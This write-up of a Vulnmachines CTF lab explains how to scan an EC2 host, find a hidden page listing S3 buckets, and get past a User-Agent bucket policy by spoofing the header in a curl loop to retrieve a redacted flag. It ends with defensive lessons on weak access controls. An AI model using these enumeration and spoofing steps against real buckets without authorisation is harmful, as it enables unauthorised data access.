4 min read

Vulnmachines Special Policy Bucket Writeup: Bypassing an S3 User-Agent Access Policy

Vulnmachines Special Policy Bucket Writeup: Bypassing an S3 User-Agent Access Policy

Challenge Info

Walkthrough

Step 1: Initial Recon

Visiting the challenge URL, I noticed this one isn't a direct S3 URL — it's an EC2 instance:

# Reverse DNS confirms it's an AWS EC2 host
nslookup 54.84.44.100
# Result: ec2-54-84-44-100.compute-1.amazonaws.com

Key differences:

  • Unlike the previous challenge, it doesn't hand you an S3 bucket URL directly
  • You have to find the bucket name and the access method yourself
  • The EC2 host might be acting as a proxy or hosting an application

Step 2: Directory Scanning and Exploration

Testing some common paths:

# Check for directory listing
curl http://54.84.44.100/assets/
# Result: open directory listing, but just website assets

# Test S3-related paths
curl http://54.84.44.100/policy.json  # 404
curl http://54.84.44.100/bucket       # 404
curl http://54.84.44.100/s3          # 404

Using a directory scanning tool:

gobuster dir -u http://54.84.44.100/ \
  -w /usr/share/wordlists/dirb/common.txt \
  -x html,json,txt

Step 3: Finding the Hidden Page

During testing I found a key file:

curl http://54.84.44.100/secret.html

The contents of secret.html reveal important information:

  • Multiple S3 bucket URLs
secret.html page listing multiple S3 bucket names and the required User-Agent hint
  • Key hint:
The user agent acts as a mediator between the user and the web server...
To access the bucket you required special User-agent VnMSecurityLab

The list of buckets found:

  • vnm-sec-testa1cd
  • vnm-sec-testk2wka
  • vnm-sec-test24wka
  • vnm-sec-test124wka
  • vnm-sec-testk412ka
  • vnm-sec-testk4wka (the real bucket)
  • vnm-sec-testk235wka
  • vnm-sec-testk4w656a
  • vnm-sec-testk4wka435
  • vnm-sec-testk4w423ka

Step 4: Understanding the Special Policy

What the challenge name "Special Policy Bucket" is getting at:

  • The bucket is configured with a conditional access policy
  • It only allows a specific User-Agent: VnMSecurityLab
  • This is a common security configuration for AWS S3 bucket policies

Step 5: The Correct Access Method

Using a custom User-Agent to bulk-test every bucket:

for bucket in vnm-sec-testa1cd vnm-sec-testk2wka vnm-sec-test24wka \
              vnm-sec-test124wka vnm-sec-testk412ka vnm-sec-testk4wka \
              vnm-sec-testk235wka vnm-sec-testk4w656a vnm-sec-testk4wka435 \
              vnm-sec-testk4w423ka; do
    echo "Testing: $bucket"
    curl -H "User-Agent: VnMSecurityLab" \
         "https://$bucket.s3.amazonaws.com/f149.txt" 2>/dev/null
    echo ""
done

Analyzing the results:

  • 9 buckets returned NoSuchBucket (fakes)
  • 1 bucket (vnm-sec-testk4wka) returned content
Testing: vnm-sec-testa1cd
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-testa1cd</BucketName><RequestId>WHF9REDPPQF46QN6</RequestId><HostId>XkJH7QyrtrRPIYvm0vp9JfQxSQ0Fxj9eIGHJHfDODYWX98EEcDPJte36WG5FJsg/L2Mpruemnp7RKGyiXp3F5Cnf6BVo3hjMGZB9pypgGJk=</HostId></Error>
Testing: vnm-sec-testk2wka
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-testk2wka</BucketName><RequestId>WHFEAZ0C2TYBQH17</RequestId><HostId>VUNnnV4H1tKnQLjCK6NgJkjwpixNWIkwb93qP1MpBga/GRItCkjjPXKUiKJNItDmol86f12xx/w=</HostId></Error>
Testing: vnm-sec-test24wka
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-test24wka</BucketName><RequestId>RVN1E6J47A6MP4B3</RequestId><HostId>IorhgIi1PUIbHoSvFfD8OPe3LRZ3NPX4+RvNWtqtL+lNTo3H2fu8ERN7nVVcyRHAV9Tz2AdF+zXwPW2eSpxLF9dM/0gvkDialrayvrtjWzE=</HostId></Error>
Testing: vnm-sec-test124wka
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-test124wka</BucketName><RequestId>MJVH1J44HSEX1R1G</RequestId><HostId>9D8q5BePeZUviPYGAzewm5JYhO0c5GYnXvfoc0k4vW7HelfxexRG92j1kCmA0/cfz3F9SZJUVLg=</HostId></Error>
Testing: vnm-sec-testk412ka
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-testk412ka</BucketName><RequestId>MJVV3GNCAX9C9E89</RequestId><HostId>CEKXMSe30e53h193sK+BuD07X+mkTJfPBEuHxnHbTEXFV3FzyxuWfUB//yh5ONmGVETWGqXOMJZv80naLf21P+bL2PtUaK56</HostId></Error>
Testing: vnm-sec-testk4wka
vnm{REDACTED}
Testing: vnm-sec-testk235wka
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-testk235wka</BucketName><RequestId>7T553RYZY29HVJ8Z</RequestId><HostId>dyr23oTfVDFclLVAicv3R7vLd8B8++LbgDaAd1Y406RvMBjSz8lvhRGX/cpgktgV05Aklz4V6ZEbZ9TehI/7tZQMOoPKzGuA</HostId></Error>
Testing: vnm-sec-testk4w656a
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-testk4w656a</BucketName><RequestId>7T5DC75XE0GNHXAD</RequestId><HostId>AOQu2WyIkTbty+sTPc01xU9w+hFnmK40IKS53GHFyvnhHTOg4m3sQ9tHu7v6uPi6v9hHM7b+tv4=</HostId></Error>
Testing: vnm-sec-testk4wka435
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-testk4wka435</BucketName><RequestId>BTV02H3RGFPJ4NZP</RequestId><HostId>BCcM2WnUOFqNf42lnWuSe2UIOuLbidKnOnRqYEADOuRCRpWh4BZ17MP5hdMSCCkejWYoNGzKMMgUMeTJE3ueXj8Eoi62c4FJuNPgywHlGag=</HostId></Error>
Testing: vnm-sec-testk4w423ka
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message><BucketName>vnm-sec-testk4w423ka</BucketName><RequestId>V4QG90V60YFENQAZ</RequestId><HostId>lOEDC6WYi1t5awG7glfJATyMJOoHok1LriaqdmV2jzSv4Jr+N3hUjHNMEBNa1Ifu5GCXEoc/ezc=</HostId></Error>

Step 7: Grabbing the Flag

Successfully accessing the real bucket:

curl -H "User-Agent: VnMSecurityLab" \
     https://vnm-sec-testk4wka.s3.amazonaws.com/f149.txt

Flag: vnm{REDACTED}

Key Takeaways

Security Misconceptions

  • A User-Agent restriction is not a real security control
  • It's trivially bypassed (as this challenge shows)
  • You should use stronger authentication mechanisms instead (IAM, presigned URLs)

Conclusion

This CTF demonstrates the danger of relying on HTTP headers as a security control. The User-Agent can be spoofed and should never be the sole access-control mechanism. In a real-world environment, you should layer multiple defenses.